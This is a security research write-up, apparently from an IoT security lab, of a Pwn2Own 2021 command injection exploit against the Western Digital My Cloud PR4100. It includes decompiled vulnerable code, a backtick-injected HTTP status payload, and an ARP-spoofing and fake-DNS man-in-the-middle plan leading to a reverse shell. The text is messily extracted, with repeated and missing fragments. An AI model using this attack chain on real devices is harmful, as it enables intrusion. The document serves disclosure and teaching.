A few months ago, we took part in
Pwn2Own Austin 2021. Organized by the
Zero Day Initiative, the event focuses on the exploitation of vulnerabilities in phones, printers, NAS, and more – a welcomed opportunity to put our skills to the test and compete with the brightest minds in the reversing and exploitation scene.
At the IoT Inspector Research Lab, we usually stop at identifying a vulnerability, as we then head on to create a short proof of concept, responsibly disclose the issue to the vendor and focus on automating the detection of this and other similar issues to improve the analysis capabilities of IoT Inspector. To successfully compete at Pwn2Own, participants are required to craft a working exploit, potentially bypassing mitigation controls such as ASLR, and chaining together different vulnerabilities to finally pop a root shell on the device. But why go into the lengths of crafting exploits, you may ask? Well, we can think of three good reasons:
- It keeps our skills sharp and our Spidey-senses tingling to attempt exploitation every now and then.
- It helps us to better assess severity and impact of vulnerabilities identified in an automated manner.
- It’s fun 😊
For Pwn2Own, we submitted three exploit(chain)s targeting
Western Digital My Cloud Pro Series PR4100,
NETGEAR Nighthawk Smart Wi-Fi Router (R6700 AC1750), and our
old friend, the
Cisco RV340.
This post is the first one of a three-part series on vulnerabilities we exploited during Pwn2Own Mobile 2021. This entry for Western Digital My Cloud Pro Series PR4100 takes advantage of a command injection vulnerability affecting a connectivity checking service running on the device by default. Spoiler: During Pwn2Own, this exploit actually failed – but a root cause analysis for this is included in this write-up too 🙂 During Pwn2Own, the same vulnerability was independently discovered by Martin Rakhmanov (
@mrakhmanov) from
Spider Labs.
[caption id="attachment_6424" align="aligncenter" width="400"]

Compromising PR4100 from the comfort of your office is easy.[/caption]
Summary
ConnectivityService
ConnectivityService
- whether it can reach the local
REST SDK
REST SDK
server
- whether it can ping the local gateway
- whether it can reach the remote cloud service
The cloud service connectivity check looks similar to the C code below we rebuilt from Ghidra’s disassembly.
char* cloud_api_url = "http://downloads.mycloud.com/healthcheck/index.html";
system("rm -rf /tmp/healthcheck ; mkdir /tmp/healthcheck");
system("cd /tmp/healthcheck ; wget -o /tmp/healthcheck/check.txt %s", cloud_api_url);
// check if the request could be sent out by wget
sprintf(cmd_buf,"cat %s/%s | grep \"%s\"","/tmp/healthcheck","check.txt", "HTTP request sent, awaiting response... ");
stream = popen((char *)cmd_buf,"r");
success = fgets(content,0x100,stream);
// the request could not be sent by wget
// we don't care because the output of wget is therefore non-controllable
// inlined string length checks
// check if response is 200 OK
is_200_ok = strstr(content,"200 OK");
if (is_200_ok != (char *)0x0) {
sprintf((char *)cmd_buf,"%s:HTTP-response:\"200 OK\"",
"analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string");
sprintf(&DAT_00105200,"%s:HTTP-response:\"200 OK\"",
"analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string");
// call logging utility with the command 'analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string:content:"first 0x100 bytes of file"
sprintf(cmd_buf,"%s:HTTP-response:\"%s\"",
"analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string",
FILE* stream;
FILE* stream_00;
char content[0x100];
char cmd_buf[129];
char* cloud_api_url = "http://downloads.mycloud.com/healthcheck/index.html";
system("rm -rf /tmp/healthcheck ; mkdir /tmp/healthcheck");
system("cd /tmp/healthcheck ; wget -o /tmp/healthcheck/check.txt %s", cloud_api_url);
// check if the request could be sent out by wget
sprintf(cmd_buf,"cat %s/%s | grep \"%s\"","/tmp/healthcheck","check.txt", "HTTP request sent, awaiting response... ");
stream = popen((char *)cmd_buf,"r");
if (stream != NULL) {
success = fgets(content,0x100,stream);
// the request could not be sent by wget
if (success == NULL) {
// we don't care because the output of wget is therefore non-controllable
}
else{
// inlined string length checks
// check if response is 200 OK
is_200_ok = strstr(content,"200 OK");
if (is_200_ok != (char *)0x0) {
fclose(__stream);
sprintf((char *)cmd_buf,"%s:HTTP-response:\"200 OK\"",
"analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string");
system((char *)cmd_buf);
sprintf(&DAT_00105200,"%s:HTTP-response:\"200 OK\"",
"analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string");
return 1;
}
// call logging utility with the command 'analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string:content:"first 0x100 bytes of file"
// SHOULD BE VULNERABLE
sprintf(cmd_buf,"%s:HTTP-response:\"%s\"",
"analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string",
content);
system(cmd_buf);
}
}
FILE* stream;
FILE* stream_00;
char content[0x100];
char cmd_buf[129];
char* cloud_api_url = "http://downloads.mycloud.com/healthcheck/index.html";
system("rm -rf /tmp/healthcheck ; mkdir /tmp/healthcheck");
system("cd /tmp/healthcheck ; wget -o /tmp/healthcheck/check.txt %s", cloud_api_url);
// check if the request could be sent out by wget
sprintf(cmd_buf,"cat %s/%s | grep \"%s\"","/tmp/healthcheck","check.txt", "HTTP request sent, awaiting response... ");
stream = popen((char *)cmd_buf,"r");
if (stream != NULL) {
success = fgets(content,0x100,stream);
// the request could not be sent by wget
if (success == NULL) {
// we don't care because the output of wget is therefore non-controllable
}
else{
// inlined string length checks
// check if response is 200 OK
is_200_ok = strstr(content,"200 OK");
if (is_200_ok != (char *)0x0) {
fclose(__stream);
sprintf((char *)cmd_buf,"%s:HTTP-response:\"200 OK\"",
"analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string");
system((char *)cmd_buf);
sprintf(&DAT_00105200,"%s:HTTP-response:\"200 OK\"",
"analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string");
return 1;
}
// call logging utility with the command 'analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string:content:"first 0x100 bytes of file"
// SHOULD BE VULNERABLE
sprintf(cmd_buf,"%s:HTTP-response:\"%s\"",
"analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect string",
content);
system(cmd_buf);
}
}
wget
wget
/tmp/healthcheck/check.txt
/tmp/healthcheck/check.txt
HTTP request sent, awaiting response...
HTTP request sent, awaiting response...
200 OK
200 OK
analyticlog
analyticlog
200 OK
200 OK
ConnectivityService
ConnectivityService
wget
wget
HTTP/1.0 200 `touch /tmp/pwn2own`
Server: BaseHTTP/0.6 Python/3.8.10
Date: Thu, 02 Sep 2021 10:45:30 GMT
HTTP/1.0 200 `touch /tmp/pwn2own`
Server: BaseHTTP/0.6 Python/3.8.10
Date: Thu, 02 Sep 2021 10:45:30 GMT
HTTP/1.0 200 `touch /tmp/pwn2own`
Server: BaseHTTP/0.6 Python/3.8.10
Date: Thu, 02 Sep 2021 10:45:30 GMT
It will then execute the grep call and put the output in a buffer:
$ grep "HTTP request sent, awaiting response... " /tmp/healthcheck/check.txt
HTTP request sent, awaiting response... 200 `touch /tmp/pwn2own`
$ grep "HTTP request sent, awaiting response... " /tmp/healthcheck/check.txt
HTTP request sent, awaiting response... 200 `touch /tmp/pwn2own`
$ grep "HTTP request sent, awaiting response... " /tmp/healthcheck/check.txt
HTTP request sent, awaiting response... 200 `touch /tmp/pwn2own`
This buffer is then used to execute the following command, leading to the execution of our injected command:
$ analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect \
string:HTTP-response:"HTTP request sent, awaiting response... 200 `touch /tmp/pwn2own`"
$ analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect \
string:HTTP-response:"HTTP request sent, awaiting response... 200 `touch /tmp/pwn2own`"
$ analyticlog -l NOTICE -s ConnectivityService -m checkCloudConnect \
string:HTTP-response:"HTTP request sent, awaiting response... 200 `touch /tmp/pwn2own`"
On boot and then every 300 seconds, the binary verifies a few things:
This procedure executes the following:
1. It sends a GET request to a remote server using and saves the command output to .
2. It greps the file for ''
3. If there is a match, it checks whether the matched content contains '' and calls
There is a command injection vulnerability that can be triggered by injecting a malicious command in the HTTP status textual phrase. To reach the command injection, we must return an HTTP response with a status other than ''.
This is what the exploit chain looks like: the client sends a GET request with , we hijack the connection due to its plaintext nature and return the following response:
Exploitation Strategy
- the gateway must answer to ICMP echo-request packets sent by
ConnectivityService
ConnectivityService
- the staging server (
staging.mycloud.com
staging.mycloud.com
) must be unreachable
scapy
scapy
staging.mycloud.com
staging.mycloud.com
downloads.mycloud.com
downloads.mycloud.com
ConnectivityService
ConnectivityService
For the vulnerable code path to be taken, two conditions must be met:
We implemented our exploit as a man-in-the-middle attack targeting the vulnerable device only. To do so, we ARP spoof the device by sending gratuitous ARP responses to the device for the LAN gateway so that all outgoing traffic from that target device is headed our way.
We setup sniffers for ICMP and DNS traffic in their own dedicated threads. Whenever we observe an ICMP echo-request for the gateway, we craft an ICMP echo-reply and send it back to the device. Whenever we see DNS requests for , we do not answer. Whenever we see DNS requests for , we craft a DNS answer holding the attacker's IP address.
This will force the binary to contact our malicious HTTP server that answers with a command injection payload, leading it into establishing a reverse shell to us (and some fancy LCD/LED things, it's pwn2own after all).
A PoC works on my machine, an exploit works on yours
def fake_dns(iface, target_ip):
"downloads.mycloud.com": "192.168.100.140",
def fake_dns(iface, target_ip):
spoof_domains = {
"downloads.mycloud.com": "192.168.100.140",
}
def fake_dns(iface, target_ip):
spoof_domains = {
"downloads.mycloud.com": "192.168.100.140",
}
Everything is great by the look of this advisory, so what went wrong with this entry at PWN2OWN? Well, let me warn you about hardcoding IP addresses in your exploit code:
For all of our other entries we had two separate devices and could cross-validate within the team that it indeed worked as expected. With this one, this mistake went unnoticed up until the first failed attempt. Wireshark was running in the background so I immediately knew what was wrong and I guided the ZDI engineer so we could fix it on the fly. Sadly the device did not send further DNS requests and we ultimately failed :)
Identifying High Value Targets
FIRMCORN: Vulnerability-Oriented Fuzzing of IoT Firmware via Optimized Virtual Execution
- a vulnerability index representing the amount of insecure function calls and ratio of memory instructions
- a complexity index representing code complexity from average cyclomatic complexity.
ConnectivityService
ConnectivityService
python3 firmware_index.py --verbose /home/quentin/research/_WDMyCloudPR4100_5.16.105_prod.bin.extracted/squashfs-root
# filename avg complexity avg vuln avg composite med composite
0 /python37/bin/python3.7 109.17 6.74 986.89 77.00
1 /wd/usr/sbin/hdVerify 60.30 4.88 654.07 74.00
2 /wd/usr/sbin/ConnectivityService 25.00 6.21 306.50 57.00
python3 firmware_index.py --verbose /home/quentin/research/_WDMyCloudPR4100_5.16.105_prod.bin.extracted/squashfs-root
# filename avg complexity avg vuln avg composite med composite
0 /python37/bin/python3.7 109.17 6.74 986.89 77.00
1 /wd/usr/sbin/hdVerify 60.30 4.88 654.07 74.00
2 /wd/usr/sbin/ConnectivityService 25.00 6.21 306.50 57.00
python3 firmware_index.py --verbose /home/quentin/research/_WDMyCloudPR4100_5.16.105_prod.bin.extracted/squashfs-root
# filename avg complexity avg vuln avg composite med composite
0 /python37/bin/python3.7 109.17 6.74 986.89 77.00
1 /wd/usr/sbin/hdVerify 60.30 4.88 654.07 74.00
2 /wd/usr/sbin/ConnectivityService 25.00 6.21 306.50 57.00
“How do you know where to look at?” is a question we get asked a lot, so we also want to take the opportunity to provide you with a glimpse inside the IoT Inspector Research Lab. Inspired by Zhijie Gui et. Al, “”, one of the techniques we use to scour through large firmware images in search for vulnerable binaries and good candidates for further inspection is to classify them according to two indices:
Using this approach against the PR4100, ranked in position 3:
Key Takeaways
system()
system()
Breaking it down: two fundamental issues allowed us to exploit this vulnerability – supplying untrusted data with insufficient validation to is always a recipe for disaster. Another easy mitigation that could have made the exploit almost impossible is the consistent usage of encrypted communication. Man-in-the-middling a TLS encrypted connection would have likely resulted in us giving up on the exploitation attempt 😉 By applying basic security principles, this vulnerability could have easily been prevented or rendered useless.
One ray of light: The described attack vector is not the typical infection vector chosen by ransomware campaigns – so we likely won’t see this bug being abused my malware authors anytime soon. Nevertheless, updates provided by the vendor should be applied in a timely manner – but that’s a non-news to close part one of our Pwn2Own exploitation series.
Timeline
2021-12-01 - Vulnerability reported to vendor
2022-01-17 - ZDI release advisory
2022-02-15 - Coordinated public release of IoT Inspector advisory